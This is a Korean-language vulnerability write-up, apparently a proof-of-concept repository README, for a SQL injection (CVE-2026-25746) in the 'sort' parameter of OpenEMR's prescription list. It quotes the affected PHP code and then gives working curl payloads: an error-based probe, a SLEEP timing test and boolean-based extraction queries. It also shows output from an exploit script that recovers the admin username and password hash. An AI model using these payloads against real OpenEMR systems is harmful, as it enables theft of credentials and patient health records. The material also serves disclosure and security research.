
CVE-2026-25746 - OpenEMR <8.0.0의 SQL 인젝션 취약점
약점 CWE-89
SQL 명령에 사용되는 특수 요소의 부적절한 중성화('SQL 인젝션') 제품은 업스트림 구성 요소의 외부 영향 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 전송될 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중성화하지 않거나 잘못 중성화합니다. 사용자 제어 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL로 해석될 수 있습니다. MITRE에서 자세히 알아보세요.
OpenEMR <8.0.0에는 인증된 공격자가 악용할 수 있는 처방전(prescription)의 SQL 인젝션 취약점이 존재합니다. 이 취약점은 처방전 목록 기능의 입력 검증 부족으로 인해 발생합니다.
이 취약점은 처방전 목록 기능에서 발생하며, 사용자 제공 입력이 sort 매개변수에서 적절한 필터링 없이 SQL 쿼리에 직접 연결됩니다. 이를 통해 공격자는 악의적인 SQL 코드를 주입할 수 있습니다.
이 취약점은 다음 파일에 영향을 미칩니다:
\openemr\library\classes\Prescription.class.php 1148행의 prescriptions_factory 함수\controllers\C_Prescription.class.php 180행의 list_action 함수\openemr\controller.php 6행$controller = new Controller();
echo $controller->act($_GET);
$args = array_reverse(array_keys($qarray));
$c_name = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$c_action = preg_replace("/[^A-Za-z0-9_]/", "", (string) array_pop($args));
...
$obj_name = "C_" . $c_name;
$c_obj = new $obj_name();
...
foreach ($args as $arg) {
$arg = preg_replace("/[^A-Za-z0-9_]/", "", (string) $arg);
if (empty($qarray[$arg]) && $qarray[$arg] != "0") {
$args_array[] = null;
} else {
$args_array[] = $qarray[$arg];
}
}
...
if (is_callable([&$c_obj, $c_action . "_action"]) && method_exists($c_obj, $c_action . "_action")) {
$output .= $c_obj->{$c_action . "_action"}(...$args_array);
}
C_Prescription list_action 메서드
function list_action($id, $sort = "", $printPrescriptionId = null)
{
if (empty($id)) {
$this->function_argument_error();
exit;
}
if (!empty($sort)) {
$this->assign("prescriptions", Prescription::prescriptions_factory($id, $sort));
}
Prescription prescriptions_factory 메서드의 취약점
static function prescriptions_factory(
$patient_id,
$order_by = "active DESC, date_modified DESC, date_added DESC"
) {
$prescriptions = [];
$p = new Prescription();
$sql = "SELECT id FROM " . escape_table_name($p->_table) . " WHERE patient_id = ? " .
"ORDER BY " . add_escape_custom($order_by);
$results = sqlQ($sql, [$patient_id]);
while ($row = sqlFetchArray($results)) {
$prescriptions[] = new Prescription($row['id']);
}
return $prescriptions;
}
if ((array_key_first($qarray) ?? '') == 'prescription') {
if (!AclMain::aclCheckCore('patients', 'rx')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Prescriptions")]);
exit;
}
}
patients에 대한 ACL rx 권한이 필요하며, 이는 표준 권한이지 상승된 권한이 아닙니다.
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY <injection>
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort="'
SQL Statement failed on preparation: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY \"</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/classes/Prescription.class.php at 1149:sqlQ<br />/var/www/localhost/htdocs/openemr/controllers/C_Prescription.class.php at 180:prescriptions_factory(1,")<br />/var/www/localhost/htdocs/openemr/library/classes/Controller.class.php at 157:list_action(1,")<br />/var/www/localhost/htdocs/openemr/controller.php at 6:act(Array)
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%201)'
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=619d6abca06d21fe709779f348c0a5de" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20SLEEP(5))'
┌──(kali㉿kali)-[~]
└─$ curl -b "OpenEMR=5d884df35b6ff2fddf12d83da5095ae8" -k 'https://172.18.0.3/controller.php?prescription=&list=&id=1&sort=(SELECT%20((ASCII(SUBSTRING(username,1,1))%20DIV%20128)MOD%202)%20FROM%20users%20LIMIT%201)'
이를 악용하는 여러 기법이 있습니다. 그중 하나는 불리언 기반 공격으로, 마지막 페이로드를 사용하여 동작합니다:
SELECT id FROM prescriptions WHERE patient_id = ? ORDER BY (SELECT ((ASCII(SUBSTRING(username,1,1)) DIV 64)MOD 2) FROM users LIMIT 1)
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py 172.18.0.3 b2b9f1cc76b47f8f13cc1f707baa0a64 users_secure --columns username password password_history1 password_history2 password_history3 password_history4
[+] Using patient_id=1
[+] Reference checksum (1): 604da4e5e2149a31fc68530bad701666942f600f
[+] Reference checksum (0): 66cfdfc2ad847a919672c75651b43749e1a5f38c
[#] Row count for table: users_secure 1
[#] String length: users_secure.username 0 5
[>] Character recovered: a
[>] Character recovered: d
[>] Character recovered: m
[>] Character recovered: i
[>] Character recovered: n
[+] Extracted string: ascii users_secure username 0 admin
[#] String length: users_secure.password 0 60
[>] Character recovered: $
[>] Character recovered: 2
[>] Character recovered: y
[>] Character recovered: $
[>] Character recovered: 1
[>] Character recovered: 2
[>] Character recovered: $
[>] Character recovered: g
[>] Character recovered: 4
[>] Character recovered: T
[>] Character recovered: y
[>] Character recovered: s
[>] Character recovered: 1
[>] Character recovered: l
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: f
[>] Character recovered: t
[>] Character recovered: B
[>] Character recovered: I
[>] Character recovered: u
[>] Character recovered: x
[>] Character recovered: y
[>] Character recovered: w
[>] Character recovered: o
[>] Character recovered: 5
[>] Character recovered: L
[>] Character recovered: z
[>] Character recovered: e
[>] Character recovered: V
[>] Character recovered: 7
[>] Character recovered: W
[>] Character recovered: 7
[>] Character recovered: a
[>] Character recovered: L
[>] Character recovered: B
[>] Character recovered: z
[>] Character recovered: O
[>] Character recovered: X
[>] Character recovered: g
[>] Character recovered: a
[>] Character recovered: C
[>] Character recovered: g
[>] Character recovered: U
[>] Character recovered: e
[>] Character recovered: v
[>] Character recovered: Z
[>] Character recovered: x
[>] Character recovered: A
[>] Character recovered: Y
[>] Character recovered: Q
[>] Character recovered: a
[>] Character recovered: X
[>] Character recovered: 0
[>] Character recovered: c
[>] Character recovered: y
[>] Character recovered: c
[>] Character recovered: 2
[>] Character recovered: i
[>] Character recovered: O
[+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO
[#] String length: users_secure.password_history1 0 0
[#] String length: users_secure.password_history2 0 0
[#] String length: users_secure.password_history3 0 0
[#] String length: users_secure.password_history4 0 0
┌──(kali㉿kali)-[~]
└─$
https://www.cve.org/CVERecord?id=CVE-2026-25746
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
논문을 인용해 주세요: https://github.com/ChrisSub08/CVE-2026-25746_SqlInjectionVulnerabilityOpenEMR7.0.4